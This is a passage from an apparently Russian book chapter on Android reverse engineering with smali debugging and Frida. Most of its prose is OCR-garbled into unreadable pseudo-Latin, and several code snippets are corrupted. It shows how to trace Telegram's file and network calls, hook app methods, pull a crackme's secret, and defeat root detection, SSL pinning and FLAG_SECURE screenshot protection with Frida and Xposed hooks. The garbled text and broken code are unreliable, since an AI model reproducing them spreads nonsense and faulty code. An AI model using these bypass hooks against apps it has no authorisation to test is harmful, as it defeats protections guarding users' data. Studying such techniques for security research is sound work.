ycTaHoBke OperknouHTa. HaBepHsika BBl HE Cpa3dy CMOXKETE€ YCTaHOBHTb KOpPPEKTHBIN
OpeHKMOUHT (TOT, KOTOpbIA OyAEeT OTMEUYEH rajo4ykoi), MOTOMY YTO MCXOQHHMKH, CKOpee
Bcero, He OyyT COOTBETCTBOBaThH KOy npuioxeHus. [To 3Toi ke npuurMHe BaM npuaeT-
csl AeHCTBOBATh BCJEMYO, KOrJa HCMOJIHEHHE MPHJIOKEHUS OOHAeT N0 OpeHKIOHMHTA.
[1pu nepexone k cneayroue ctpoke aebarrep nepeOpOCHT Bac B COBEPLIEHHO HEBEPHBIE
KYCKH KOJa, OCTOSHHO COO01Las, YTO KO/ HEKOPPEKTHBbIH.

Brixona u3 3Toi cuTyauuu aBa: JIMOO MPOABHraThCsa Ha OUIYMb, JTIUOO BMECTO JEKOMITH-
JupoBaHHOTO Java-koaa 3arpy3utsh B Android Studio guzaccembaupoBaHHbI#i kon smali,
KOTOPBIH MPOCTO TEXHUUYECKH HE MOXKET ObITh HEKOPPEKTHBIM.

Ucnonbayem anszaccembnupoBaHHLIN koA

JlnzacceMOIMpoOBaHHBIA KO MPHUIOKEHUS Y Hac yke ecTb. Mbl MOJMyduiIu ero, Koraa
pa3bupanu npunoxernue ¢ nomouibto apktool. IIpobnema Tonbko B TOM, uto Android
Studio B cBOEM cTaHAapTHOM BapHaHTe XOTh M yMeeT MOoACBe4YHMBaTh koA smali, HO He-
cnocobHa paboTaTh ¢ 3TUM KoAOM. JIpyrHMHM CIOBaMH, MBI CMOXX€M MPOYHMTAaTh KOJX
smali, HO HE CMO)XE€M YCTaHOBHTb OpEeHKOMOHHTHI. UTOOBI 3TO MCNPaBUTh, HYXKEH CTO-
ponHuii nnaruH smalidea (https://github.com/JesusFreke/smali/wiki/smalidea), a 06-
wWas nocseaoBaTeIbHOCTh JEHCTBUH OyeT BbIMIAAeTh TakK:

1. CkauuBaem nnarud smalidea.

2. Umnoprupyem nnarud B Android Studio: Settings — Plugins — Install plugin from
disk.
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3. MMnoptupyem kartanor ¢ pa3oOpaHHbIM MPUIOKEHUEM TOYHO TaK K€, Kak Mbl 3TO
JeNaly B clly4ae ¢ JeKOMITUIMPOBAHHBIM KOJOM.

4. B 6oxoBoi naHeny LuesikaeM Mbilubio Ha Android u BeiOUpaem Project Files, uToGsl
YBUIETH Bce Gaiifbl M KaTaIoTH MPOEKTa.

5. llenkaem nmpaBoi kHONKOH MbIIM Ha KaTtanore smali U BoiOMpaem Mark directory
as — Sources root.

Kak u B caydae c¢ Java-kogoMm, HyXHbII HaM KO HAaXOAHWTCA B listeners/
ChallengeOneFragmentOnClickListener. B aTOoT pa3 KOO HaAMHOro IJIMHHCE H 3alyTaHHEEC,
HO, HUCIIOJIB3Ys paHeEe l'lOJ'ly‘-leHHblﬁ Java—ncxozu—mx, Bbl JIEFKO HanaeTe HY>KHO€ MECTO, a
UMEHHO 246-10 CTPOKY:

invoke-virtual {v4, v8}, Ljava/io/OutputStreamWriter;->write(Ljava/lang/String;)V

CraBuUM Ha Hee OpeHKOMOMHT, 3aMyckaeM NpPUIIOXKEHHe, U, KOrJa OHO OCTaHOBUTCH, TO-
CMOTpPHUM Ha OKHO jebarrepa. B HeM oToOpaxkaeTcst COCTOAHHE TeKyILEero U Apyrux oob-
ektoB (puc. 9.3). Haxxumas F7, Mbl 3actaBuM aedarrep BbIMOJHUTH CIEAYIOULYIO CTPOKY
C NepexoloM BHYTPb BbI3bIBAEMOH (yHKUMH (B HAleM Clydae outputStreamWriter.
write ("poorly-protected-secret")). Oka3aBUIMCh BHYTPH Hee, Bbl CMOXKETE MPOCMOTPETh
COIEP)KUMOE €€ apryMeHTa, a HMEHHO HCKOMYIO CTpOoKy. B naHHOM ciydae ee BHAHO
¥ 10 nepexoaa B GYHKUMIO, HO ecnd Obl oHa Oblna 3awMdpoBaHa, ONMCaHHBIA MeTOA
nomor OBl BBISICHHTD €€ peajlbHOe 3HaueHHe. '

Puc. 9.3. OtnaxnBaeM aAu3acceMbNUPOBaHHbIA KOA
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Frida

B npouuisix pa3genax Mbl MO3HAKOMHIIUCH C JEKOMITHIATOPOM, OU3acceMOIepoM U Ha-
YYWIHCh aHAJIW3UPOBATh NMPHIOXKEHHA C MOMOLIBIO oTnamgyuka. Kasamoce Obl, 3TO Bee,
4TO Hy>KHO Ui paboTel peBepcepa. Ho ecTh HHCTpYMEHT, KOTOpBI# AenaeT MoaudHKa-
LMIO M U3y4yeHHe paboThl MpwiokeHu# ewe mpowe. 1o Firda, Tynkut, no3Bonsrouuii
BHEIPUTHCA B MPOLIECC M MEPENUCaTh €ro YacTH Ha s3bike JavaScript.

Dynamic Instrumentation Toolkit

Frida — aTo Tak Ha3eiBaeMbiii Dynamic Instrumentation Toolkit, T. €. Habop uHCTpyMeH-
TOB, MO3BOJIAIOIIMX HA JIETY BHEAPATh COOCTBEHHBbIH KOA B Apyrue npuioxkeHus. bnu-
xaiimue aHanoru Frida— 3to 3HamenuThiii Sydia Substrate mna iOS u Xposed
Framework mns Android, Te cambie ¢pefiMBopku, 6narogapsi KOTOpbIM MOABUINCH TBH-
ku. Frida oTinMyaeTcs OoT HUX TeM, YTO HalleJeHa Ha OBICTPYIO MpaBKy KoJa B peKuUMe
peanbHoro BpeMeHd. Otciona u a3bik JavaScript BMecto Objective-C unu Java, U oTcyT-
CTBHE HEOOXOOMMOCTH YMAaKOBBIBaTh «TBUKH» B HAcTOsALIME MpUIOKeHUA. Thl mpocto
NOAKIIOYAEeIbCA K MPOLECCY W MEHsAELIb €ro MoBeAeHHe, HCIMONb3ys HHTEPAaKTHBHYIO
JS-koHCONb (Hy WM OTAaellb KOMaHAY Ha 3arpy3Ky paHee HalMCaHHOTO CKPUIITA).

Frida ymeer pabGoTaTh ¢ NMpWIOKEHHUAMH, HANMCAaHHBIMH Ui BceX mnomynsapHeix OC,
Bmouas Windows, Linux, macOS, iOS u naxe QNX. MebI ke OyneM Hcnonb3oBaTh ee
s MogudUKauMK npuioxkeHuit Android.

Hrak, yTo HaM noHago6HTCs:
1. MaunHa nox ynpaenenueM Linux ¢ ycraHoBneHHbiM ADB.

2. PyToBaHHbI# cMapTdoH wiu 3MynsTop Ha 6a3ze Android 4.2 u Beime. Frida ymeer pa-
60oTaTh M Ha HEPYTOBAaHHOM, HO IJIA 3TOro BaM mnpuuetrcs MoauduumpoBath APK
MOJOMBITHOTO MPHJIOKEHHA. ITO NMPOCTO HEYAOOHO.

Jna Havana ycranoBuM Frida:

$ sudo pip install frida
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Janee ckayaeMm cepeep Frida, koTopblii He00X0AUMO ycTaHOBUTL Ha cMapTdoH. Cepsep
MoxxHO HaiTH Ha GitHub (https://github.com/frida/frida/releases), ero Bepcus momkHa
TOYHO COBMajaTh ¢ Bepcuei Frida, kotopyto Mbl yctanosuau Ha [1K. CkaunBaem:

$ cd ~/Downloads

$ wget https://github.com/frida/frida/releases/download/12.11.12/frida-server-
12.11.12-android-arm.xz
$ unxz frida-server-12.11.12-android-arm.xz

IMonxmouaem cmaptdon k [1K, skatouaem otnaaky no USB (Hacrpoiiku — Jas pa3s-
paborunkoB — Otaaaka no USB) u 3akunbiBaem cepsep Ha cMapThOH:

$ adb push frida-server-12.11.12-android-arm /data/local/tmp/frida-server

Tenepb «3axoauM» Ha cMapT(OH C MOMOLUBIO adb shell, BBICTAB/IAEM HYXKHbIE MpaBa Ha
CEPBEP H 3aIlyCKaeM €ro:

$ adb shell

> su

> cd /data/local/tmp

> chmod 755 frida-server

>

./frida-server

TTepsbie warwu

Frida ycranosnena Ha [1K, cepeep 3anywen Ha cmaptdone (He 3aKpblBaiiTe TepMHHA
C 3alyLIeHHbIM cepBepoMm). Tenepb HY)KHO NPOBEPUTL. BCe M paboTaeT kak Hamo. Jlis
3TOr0 BOCMOJIb3yeMCS KOMaHAOH frida-ps -U, BBIBOA KOTOpPOi NokasaH Ha puc. 10.1.

Puc. 10.1. BbiBoa komaHabl frida-ps -U
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KomaHzpa mo/mkHa BBIBECTH CIMCOK IMPOLIECCOB, 3aMyLIEHHbIX Ha cMapTdose (¢iar -u
o3nayaer USB, 6e3 Hero Frida BeiBeneT cnMcok mpoueccoB Ha JIOKAIBHOW MallUHE).
Ecnu Bbl BUANTE 3TOT CMMCOK, 3HAYHT, BCE XOPOLLO, U MOXKHO TMPHCTYNATh K Oojiee HHTe-
PECHBIM BellaM.

Jlns Havana nonpoOyeM BBHIMIOJIHUTD TPACCUPOBKY CHUCTEMHBIX BBI30BOB. Frida mosBonser
OTCJIeANTHh OOpalleHus K JIIOOBIM HATUBHBIM (PyHKLHAM, B TOM YHCJIE CUCTEMHBIE BBI30-
BBl Aapa Linux. [{ng npuMepa Bo3sMeM CHCTEMHBIH BBI3OB open (), KOTOPBIA HUCIIONB3y€ET-
¢ JUIA OTKPHITHSA (aiiIoB Ha YTEHWE WIIU 3aMKCh. 3aycTUM TpaccupoBky Tenerpama:

$ frida-trace -i "open" -U org.telegram.messenger

Bo3bMeM TenedoH M HEMHOro MOHaXKMMaeM Ha dJieMeHTHl uHTepdeiica Tenerpama. Ha
3KpaHe JAOJDKHBI MOABUTHCS COOOLIEHUS PUMEPHO CIEQYIOLIEro CONep KaHUA:

open (pathname="/data/user/0/org.telegram.messenger/shared prefs/userconfing.xml",
flags=0x241)

OTo cTpoka o3HayaeT, 4yTo TeserpaM OTKpbUI (paiin userconfig.xml BHYTPH KaTajora
shared prefs B CBOEM NpPHBATHOM Kkarasore. Karanor shared prefs B Android ucnone3syer-
C U1 XPaHeHHs HAaCTPOEK, MOITOMY HETPYAHO AOrajaThes, YTO (ail userconfig.iml
COZIEP>KUT HaCTpoMkH npunoxeHus. Eme oqna crpoka:

open (pathname="/storage/emulated/0/Android/data/org.telegram.messenger/cache/
223023676 121163.3pg", flags=0x0)

3mech Bce €1I€ npouie. TenerpaM arp€CCHBHO KCUIUPYET 3arpy>KE€HHBIC JaHHBIC, [IO3TOMY
s 0T06pa)KeHI/lﬂ KAapTHUHKU OH B3sJ1 €€ U3 Ke€llla.

open (pathname="/data/user/0/org.telegram.messenger/shared prefs/stats.xml",
flags=0x241)

Ewe oauH ¢aiin B karanore shared prefs. Cyas no BceMy, Kakas-TO CTATHCTHKA HCTIOJIb-
30BaHUA.

open (pathname="/dev/ashmem", flags=0x2)

Beirnsaaur crpanHo, He Tak 1u? Ha camom nene, ¢aiin /dev/ashmem BUPTYalIbHBIMH, OH MC-
nons3yercs 411 oOMeHa NaHHBIMH MEXTY MpPOLIeCCaMM M CHCTeMOi ¢ nomousio IPC-
mexaHu3Ma Binder. Ilpome roeops, sta crpoka o3Hadaer, yrto TenerpaM obGparwuics

K KaKOMY-TO CHCTEMHOMY KoMmoHeHTy Android unu cropoHHeMy npunokeHuto. Takue
CTPOKH MO>KHO CMEJIO MPOITYCKATh.

TTuwem xopa

ME1 MoXeM NepeXBaThIBATh oﬁpameﬂm K JIIOOBIM APYrUM CHCTEMHBLIM BbI3OBaM, Ha-

INPpUMEP K BBI3OBY connect (), KOTOprﬁ HUCNOJNB3YETCA MJI MOAKIMIOYCHHS K YJaJICHHBIM
XOCTaM:

$ frida-trace -i "connect" -U com.yandex.browser

Ho BbIBOA B 1aHHOM city4ae OynaeT He 0co60 MHPOPMaTUBHBIM:

2028 ms connect (sockfd=0x90, addr=0x94e86374, addrlen=0x6e)
2034 ms connect (sockfd=0x90, addr=0x94e86374, addrlen=0x6e)



122 YACTb Il nasa 10

[IpryrHa B TOM, YTO BTOPOH apryMeHT CMCTEMHOr0 BBI30BA connect () — 3TO YKa3aTenb
Ha CTPYKTYpY sockaddr. Frida He yMeeT ee pacro3HaBaTh M M03TOMY BbIBOAMT a/1pecC y4a-
CTKa MaMATH, B KOTOPO# XpaHUTCS 3Ta CTpykTypa. Ho MBI MOXXeM M3MEHHMTb KOA, KOTO-
pblit BoinonHseT Frida mpu nepexBaTe CUCTEMHOro BbI30Ba WM YHKLUMH. A 3TO 3HAYMT,
YTO MBI MOYKEM MPOMNAPCHTh sockaddr camMH!

Korza Bbl 3amyckand KOMaHAy frida-trace, TO HaBEPHAKa 3aMETHIM MPUMEPHO TaKyHO
CTPOKY:

connect: Auto-generated handler at "/home/jlm/_handlers /libc.so/connect.js"

DTO aBTOMAaTHUYSCKH CreHepHUpOBaHHBIW KOA Xyka, koTtopblii Frida Bbinonuser, koria
MOAOMBITHOE MpUIOKeHHe obpalaercs k ykazaHHoH ¢yHkuuu. UMeHHO oH oTBeTCTBe-
HEH 3a BBIBOJ T€X MaJOMH(OPMATHBHBIX CTPOK, KOTOpbIE MBI YBUAENH. [lo ymonuanuio
KO BBIFAAAMT TakK: ‘

JavaScript

onEnter: function (log, args, state) {
log("connect (" +
"sockfd=" + args(0] +
", addr=" + args(l] +
", addrlen=" + args(2] +
")y
}

BuaHO, YTO XyK NMPOCTO BLIBOAUT BTOPOI apryMeHT Kak ecTb. Ho MbI 3HaeM, uto BTOpoit
apryMeHT CHCTEMHOrO BbI30Ba connect () — 3TO YKa3aTellb Ha CTPYKTYpPY sockadadr, T. €.
npocto aapec B namaTH. CaMa CTpYKTypa sockaddr UMEET CIEAYOUIMH BU

C

struct sockaddr {

unsigned short sa_family; // address family, AF xxx

char sa_data(l4]; // 14 bytes of protocol address
}i

As Ccllyya€ C COKETaMH Tula AF INET, KOTOPbI€ HaM H HY>XKHBI, TaKoM:

C

struct sockaddr in {

short sin family; // e.g. AF_INET, AF_INET6
unsigned short  sin port; // e.g. htons(3490)
struct in addr  sin_addr; // see struct in addr, below

char sin zero[8]; // zero this if you want to
)i
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struct in_addr {
unsigned long s_addr; // load with inet pton()
}i

To ectb cam IP-agpec HaxoauTcs B 3TOH CTpykType no cmeuleHdio 4 Oaifta (short
sin_family + unsigned short sin_port) u 3aHuMaer 8 6airt (unsigned long). 310 3HaumT,
YTO HaM HY>KHO A06aBHTh K HCXOAHOMY ajpecy 4, 3ateM mpoyuTaTh 8§ 6aiT Mo nmory4yeH-
HOMY aZIpecy M NpOMapCUTh MX, YTOObI MOMy4uTh TekcToBhIN IP-anpec. ChnenaeM sto,
3aMEHHB W3HAYaIbHBIA XYK Ha TaKOi:

JavaScript

onEnter: function (log, args, state) ({
var addr = args(1l].add("4")
var ip = Memory.readULong (addr)
var ipString = [ip & OxFF, ip >>> 8 & O0xFF, ip >>> 16 & O0xFF, ip >>> 24].join('.")

log("connect (" +
"sockfd=" + args(0] +
", addr=" + ipString +
", addrlen=" + args(2] +
)"y
)I

OG6paTuTe BHUMaHHe, YTO MBI NTAPCHM aJIpec HauHWHasA C KOHILIA, T. €. pa3BOPaYMBaEM €ro.
310 He0OX0AUMO, T. K. BcE COBpeMeHHbIe npoueccopsl ARM ucnons3ylor nopsaok 6ait
little-endian. Takxke oOpaTHTe BHUMaHHe Ha KJ1acC Memory M METOJ add (), 3TO uacTH API
Frida (https://www.frida.re/docs/javascript-api/).

CoxpaHsieM ¢aii1 ¥ BHOBb 3aITyCKaeM frida-trace:

connect (sockfd=0xbb, addr=173.194.222.139, addrlen=0x10)
connect (sockfd=0xba, addr=74.125.205.94, addrlen=0x10)

Byans. IlpaBaa ecte oauH Hioanc. Tak kak Hall KoA He yMeeT pa3nM4yaTh COKEThI THNA
AF_UNIX, AF_INET M AF_INET6 U BC€ HX MHTEpPNPETHpPYET Kak AF_INET, HHOrAa OH 6yAeT BbI-
BOJMTH HecyllecTBylouue agpeca. To ectb oH 6yaer mbiTaThes napcuth UM ¢aiina co-
KeTa AF_UNIX M BbIBOAMTBH ero kak IP (wnm meitathes BeiBecTd IPv6-agpec, kak aapec
IPv4). Ot6pakoBaTh Takue afpeca O4eHb JIErKo, OObIMHO OHH MIYT MOAPAA M 4acTo MO-
BTOpAtOTCA. B MoeMm cityyae 3to 6611 agpec 101.118.47.115.

BHeapsemca

Bo3moxxocTH Frida ropasno mmpe, yeM nepexsat oOpalleHHit K HATUBHBIM QYHKLIMAM M
CHUCTEMHBIM BbI30BaM. Ecii MBI B3rniiHeM Ha ynomuHaBlumiica panee API Frida, To yBu-
JMM, 4YTO B HeM eCTh 00BekT Java. C ero moMoLibio Mbl MOXEM TepexXBaThiBaTh obOpallie-
HHMA K MoObiM Java-o0beKTaM M MeTOJaM, a 3HAYMT, M3MEHHTh NMPAKTHYECKH JIIOOOMH
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acnekT MoBeAeHHA moboro mpwioxkeHusa s Android (B TOM Yuclle HalMCaHHOrO Ha
Kotlin).

HauneM ¢ npocTtoro: nonpobyeM y3HaTh 060 Bcex 3arpy>KeHHBIX B MPHIOKEHHE KJIaccax.
Cospaiite HOBBIH (ailn (IfyCTh OH Ha3bIBA€TCA enumerate.js) H J0OABbTE B HETO ClELYIO-
1IHE CTPOKH:

JavaScript

Java.perform(function() {
Java.enumerateLoadedClasses ({
onMatch: function(className) (
console.log(className) ;
)I
onComplete: function() {}
})i
V)i

310 o4eHb nmpocToi KoA. CHayasa Mbl BBI3bIBAEM METOJ Java.perform(), O3HAYalOLUMH,
YTO Mbl XOTHM MOJKIIOYHTECA K BUPTyalbHOH MalinHe Java (wiu Dalvik/ART B ciyuae
Android). [lanee Mbl BBI3BIBAEM METO[ Java.enumerateloadedClasses() W MEpeNaeM eMy
ABa KoOJU16€Ka: onMatch () 6yHeT BHIMOJIHEH NMPH «OOHApYEHHH» KJlacca, onComplete () —
B CaMOM KOHLIE (HaM 3TOT KOJUIOEK He Hy)XX€H, H Mbl OCTaBJIIEM €TO MyCTHIM).

3amyckaeM:

$ frida -U -1 enumerate.js org.telegram.messenger

M BHAMM Ha 3KpaHe MIMHHBIHA, KaXyLIHiCA 6€CKOHEYHbIM, CITHCOK KJIACCOB, YacTh KOTO-
PBIX ABJIAIOTCA KOMIIOHEHTAMH CaMOrro MPWIOXKEHHA, HO MoJaBsioLlee 60IbIHHCTBO —
3TO CTaHAapTHHIE Kiaacchl ¢peiiMBopka Android (Android 3arpyxaer Bech ¢peiiMBOpk
B K@XX/BIH MpoLiecC B pe)KHME COPY-On-Wwrite).

Ha camom fene HaM 3TOT CIIMCOK He ocobo HHTCPECEH. Hamnoro HHTEPECHEE TO, YTO
B M00O0I M3 3THX KIaCCOB MOXHO BHCAPHUTDb CBO#M KOA, a €CJIK OBITH TOYHBIM — nepenuy-
cathb Teo moboro Metona J00Oro U3 3THX KJIACCOB. lIJ'lﬂ NpHMEpa BO3bMEM TaKOH KOZ:

JavaScript

Java.perform(function () {
var Activity = Java.use("android.app.Activity");
Activity.onResume.implementation = function () {
console.log("onResume () got called!");
this.onResume () ;
}i
}) i

CHauyasla MBI HCTIOJIB3Yye€M Java.use(), YTOOBI MONYy4YHTh 0OBEKT-00epTKYy Lis paboThl
C KJIACCOM android.app.Activity. 3aTteM MbI MePENMUChIBAEM €ro METOA onResume (), BbI3bI-
Bas B KOHLIE OPUIHHAJILHBIA METOJ (this.onResume).
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Te, kTo 3HaKoM c pa3paborkoi mpunoxeHud mis Android, JO/DKHBI 3HaTh, YTO KJIAcC
Activity — 3TO OJMH H3 «3KPaHOB)» NMpWIoXkeHHs. OH HMEET MHOXKECTBO METOOB, OMH
U3 KOTOpPBIX Ha3biBaeTcs onResume (). Ha caMoM Jene 31o konnbek, KOTOpbli BhI3bIBaETCA
BO BpEMs CO3/IaHMA 3KpaHa, a TakkKe IpH BO3BpaTe Ha HETo.

Ecnu mbl 3arpy3um nanssiii ckpunt Bo Frida, 3amyctum TenerpaM, 3atem BbliaeM U3 He-
ro, MOTOM CHOBa OTKPOEM, TO MBI 3aMETHM, YTO NPH KaKAOM Bo3BpaTte B Tenerpam
B TepMHHale Oy/1eT MOABNATHCA COOOIIEHHE onResume () got called!.

TouHO TakuM e 06p830M MBI MOXXEM NEPEXBATHIBATh HAXKATHA Ha KHOIIKH!:

JavaScript

Java.perform(function () {
MainActivity.onClick.implementation = function (v) {
consle.log('onClick');
this.onClick (v);

})

A Bot npumep norupoanus Bcex URL, k KoTopbIM 0GpalaeTcs npuioeHHe:

JavaScript

Java.perform(function() {
var httpclient = Java.use("com.squareup.okhttp.v_1 5 1.OkHttpClient");
httpclient.open.overload("java.net.URL") .implementation = function(url) {
console.log("request url:");
console.log(url.toString());
return this.open(url);

b

B naHHOM ciydae Mbl BHeApAeMca B nomyspHyto 6ubanoreky OkHttp u nepenucbiBaem
€€ METOoJ okHttpClient.open().

Nomaem CrackMe

A Tenepp JaBaiiTe nmonpobGyem B3oMaTh 4TO-TO peanbHoe. Ha mpoctopax HHtepHera
MOXXHO HAWTH MHOXECTBO pa3HbIX crackme. Bo3pMmeM nepBbiii nomaBuIMHACS —
https://github.com/reoky/android-crackme-challenge. Tounee, nepBeiii U3 nATH OIMy6-
JIMKOBaHHBIX B JAHHOM PEMNO3UTOPHH. Crackme-one.apk 3alUChIBaeT (ailyl B CBOH NpUBAT-
HBIH KaTaJior, a Hallla 3a/1a4a — BBITALIMTh CoAepXuMoe 3Toro daiina. Cpasy ckaxy, 4To
CYLIECTBYET Macca crnocoboB caenarh 31o 3a 20 CeKyH[, HO B TO Xe BpeMs 3TO XOPOIIMH
npHMep, YToObl MOHATH, kak pabortath ¢ Frida. Utak, ckaunBaeM U ycTaHaBIHMBaeM MpH-
NOXKEHHE:
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$ wget https://www.dropbox.com/s/mrjnme2xiv45j4g/crackme-one.apk
$ adb install crackme-one.apk

HaMm npeanaraior HakaTs Ha KHOTKY Ui 3anucH ¢aiina 160 BBECTH OTBET /I MPOBEp-
Kd. OueBHAHO, YTOOBI B37IOMATh 3TOT crackme, Mbl JOJDKHBI NMEPEXBAaTHTh YNPpaBJICHHE
B MOMeHT 3anucH (aiina. Ho kak ato cnenats? OdeHb npocto. BonblMHCTBO mprioxke-
HUi 1 Android Mcnone3yloT IS 3alMCH JaHHBIX MO0 KJace java.io.OutputStream,
OO0 java.io.OutputStreamWriter. ¥ KaXJOro M3 HHUX €CTh METOJ write (), KOTOPBIH H OT-
Beyaer 3a 3anuch Qaiina. HaM He06X0aHMO UG MOAMEHHUTh €0 Ha CBOIO pEalIU3aLHUIo
Y BBIBECTH Ha 3KpaH MEPBBIH apryMeHT, KOTOPbIH cOaep>KUT u60 MaccuB OaiT, nubo

CTPOKY:

JavaScript

Java.perform(function () {
var os = Java.use("java.io.OutputStreamWriter");

os.write.overload('java.lang.String', 'int', 'int').implementation = function
(string, off, len) {

console.log(string)
this.write(string, off, len);
}i
}) i

3amyckaeM:
$ frida -U -f com.reoky.crackme.challengeone -1 outputstream write.js --no-pause

Byans, Ha 3KpaHe MOABJAETCS CTPOKa!

poorly-protected-secret
OtMedy TpH MOMEHTAa:

1. B ator pa3 MBI HCMIOJIB30BATIM METOX overload(), T. K. KJIACC OutputStreamWriter peaau-
3yeT cpa3y TpU METOAA write () C pa3HbIM HA6OPOM apryMEeHTOB.

2. MBI HCTIONB30BAJIH OMNLMIO --no-pause, KOTOpas HY>KHA, €CJIH Mbl XOTHM BBITNOJIHHTD
XOJIOAHBIN CTAapT NMPHIOXKEHHS M MPH 3TOM He XOTHM, 4Tobbl Frida ocraHoBuna npu-
NO>KEHHE B CAMOM Hayale.

3. Ha camoM pene B3noMaTh 3TOT crackme MOXKHO 6bL110, POCTO NEpEis B €ro npuBar-
HBIH KaTajor ¥ Npo4uTaB Qaitn (370 BO3MOXKHO, T. K. Y HAaC pyTOBaHHBIH cMapT(OH)
160 MyTeM NEKOMMWIALMH TNPHIOKEHHA (TEKCT JEXHT B OTKPBITOM BHIAE —
puc. 10.2). 3nech, onHaKo, ecTh HIOAHC: eciu 6bl crackme XpaHW CTPOKY B 3alIHdpo-
BaHHOM BHJ€ M PaclIM(pOBBIBAN €€ TONBKO Mepel 3aMHChio, AEKOMMUWIALNA 6bL1a Obl
Gecrione3Ha (Hy, Mo KpaiiHeil Mepe, 10 TeX Mop, MOKa Bbl HE U3BJIEKIH OBl KJIIOY LIN-
POBaHHS M HE HaNUCAIH CKPUNT paclIUPpOBKH).
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Puc. 10.2. N3Bneyb CTPOKy MOXHO BbINO U C NOMOLLBIO A€KOMNUNATOPA

TTepexsat HaTueHEIX 6ubnuorek

Frida ymeer pabotaTh He Tonbko ¢ GaliTkonoM Java, HO M C HATUBHBIM KOAOM AJ1i X86 U
ARM. Bnaronaps 3ToMy MOXHO BKJIMHHBaTbCS B pabOTy NPUI0KEHHH, UCTIONB3YIOLIUX
HatuHble 6ubnnoTeku. [IpeanonoxumM, uro y Hac ecth ¢aitn APK ¢ HatuBHO# GubHO-
texoi. Eciu ero passepHyThb, kaTaJor lib Oyaer coaepxkatb Habop HaTHBHBIX OUONIHOTEK
Als pa3IMuHbIX apxuTekTyp. Haxonum Oubnavoteky ans apXUTEKTYpbl CBOEro cMaprdo-
Ha (OOBIYHO 3TO arm64-v8a WM armeabi-v7a) U aHAIU3UPYEM €€ COAEPKUMOE C MOMOLIBIO
yTUAUTHI nm (OHa AocTynHa B Linux 1 macOS):

$ nm --demangle --dynamic library.so
(00002000 A _ bss_start

U cxa atexit

U _cxa finalize
00002000 A edata
00002000 A _end
00000630 T Java_com_example app MainActivity start
000005d0 T Start

U srand

U _stack chk fail

U time

Kak BuaHo, 6Gubnuoreka comepKUT B TOM 4ucie (YHKUMIO Java com example app
MainActivity start. Cyas no UIMeHH, OHa JoJDkHA ObITh JOCTYMHA Uis BbI30Ba U3 Java (Ha
cTopoHe Java oHa 6yZ1eT UMeTb HMA com.example.app.MainActivty.start).

Jonyctum, Hawa 3aaya — MepexBaTUTh BbI30B (PYHKUHH U BEpHYTh ynoOHOE HaM 3Ha-
yenue. Hanpumep, ecnu 6b1 310 Oblna GyHKIMSA, NpOBepsIOIas HATUYHE root, Mbl OBl
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MOIJIM NEepexXBaTUTh €€ U BEpHYTh false HeB3upas Ha peanbHbIN pe3y/bTaT MPOBEPKH.
Ectb nBa cniocoba nepexBaTuTh 3Ty PYHKLHIO:

1. Ha cropone Java, koraa npHIOXKEHHE TOJBKO MOMBITAETCS BBI3bIBATH HATHBHYIO
¢dbyHKUHIO.

2. Ha cropoHe HaTUBHOrO KoJa, KOTa ynpaBieHue yxxe Oyaer nepeaaHo 6ubauoreke.

Jlns peanuzauuu nepBoro crnoco6a UCMONb3yeM TaKOH KOJ:

| JavaScript

Java.perform(function () {
var Activity = Java.use('com.example.app.MainActivity')
Activity.Start.implementation = function () {
return false

})

3toT CKPHIIT NEpPEMUCHIBACT q)yHKHPIlO Start KJIaCCa com.example.app.MainActivity Tak,
4yTOOBI OHa BCeraa Bo3Bpallana 3HadyeHHue false. [lepexBaTHTh HAaTUBHYIO QYHKUMIO elle
npoiue:

LJavaScript

Interceptor.attach (Module.getExportByName ('library.so',
'Java_com_example app MainActivity start'), {
onEnter: function(args) {},
onLeave: function(retval) {
retval.replace (false)

Apyrue npumeptr npumeHeHusa Frida

VY Frida ectb oduuManbHBIA PENO3MTOPUI CKPHIITOB, B KOTOPOM MOXXHO HAaHTH Takue
TOJIE3HOCTH, KaK:

O Fridantiroot https://codeshare.frida.re/@dzonerzy/fridantiroot/ — koMrieKkcHbIi
CKPHMIIT, MO3BOJIAIOIMI OTKIIIOYMTH MPOBPKH Ha root;

O Universal Android SSL Pinning Bypass — https://codeshare.frida.re/@pcipolloni/
universal-android-ssl-pinning-bypass-with-frida/ — o6xox SSL Pinning;

O Dereflector https://codeshare.frida.re/@dzonerzy/dereflector/ — ckpunt ans ne-
pednexcun Java-koa (npeBpalleHUs HENMPAMBIX BHI3OBOB METO/IOB B NpSIMBIE).

JIro60# M3 3THX CKPUIITOB MOXKHO 3aITyCTHTh 0€3 npeaBapUTeNIbHOrO CKauHBaHHUA C TO-
MOLLBIO TAKOH KOMaHbI:

$ frida --codeshare dzonerzy/fridantiroot -U -f com.example.vulnapp
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Ckpuntsl Frida Mo>kHO HaiiTH He TOJIBKO B OULMAIBHOM peno3uTopud. MHOTHe peBep-
cepbl AeJIATCS CBOMMM peLIEHUAMH B Oiorax. Mbl pacCMOTPUM HEKOTOPbIE U3 HUX.

O6xoa 3aWUTLEL Ha CHATHME CKPUHLWOTOB

O OpwuruHan: Android Frida hooking: disabling FLAG_SECURE

(https://www.securify.nl/nl/blog/SFY20191103/android-frida-hooking_-disabling-
flag_secure.html).

Android no3Bonser pa3paboTYUKy NPUIIOKEHHUS YCTAHOBUTH MPAMOM 3arpeT Ha CHATHE
CKPHHLLOTOB OMNpeAeNeHHbIX aKTUBHOCTEH MpuioxkeHus. J{ns storo HeobxoauMo ycra-
HOBMTb (pniar FLAG SECURE JU1Sl OKHa:

‘ java

public class FlagSecureTestActivity extends Activity {
@Override
public void onCreate (Bundle savedInstanceState) {
super.onCreate (savedInstanceState) ;
getWindow () .setFlags (WindowManager.LayoutParams.FLAG SECURE,
WindowManager.LayoutParams.FLAG SECURE) ;
setContentView (R.layout.main);

OGO#ITH 3Ty 3aUIMTY MOXHO HECKOJbKMMH crocobamu. MOXHO MCMO/b30BaTh MOAYJIb
Xposed DisableFlagSecure (https://github.com/veeti/DisableFlagSecure), kotopsiii
rniepexBaThiBaeT QPyHKUHUIO setFlags U MPOCTO OTHUNBLTPOBbIBaET dar FLAG SECURE. YacTb
ero Koja, OTBETCTBEHHas 3a CHATHE duiara, BBILJIAMAMUT TaK:

java

@Override

public void handleLoadPackage (XC LoadPackage.LoadPackageParam loadPackageParam) throws
Throwable ({

XposedHelpers. findAndHookMethod (Window.class, "setFlags", int.class, int.class,
mRemoveSecureFlagHook) ;

}

private final XC MethodHook mRemoveSecureFlagHook = new XC_MethodHook () {

@Overrade
protected void beforeHookedMethod (MethodHookParam param) throws Throwable {
Integer flags = (Integer) param.args[0];

flags &= ~WindowManager.LayoutParams.FLAG SECURE;
param.args (0] = flags;
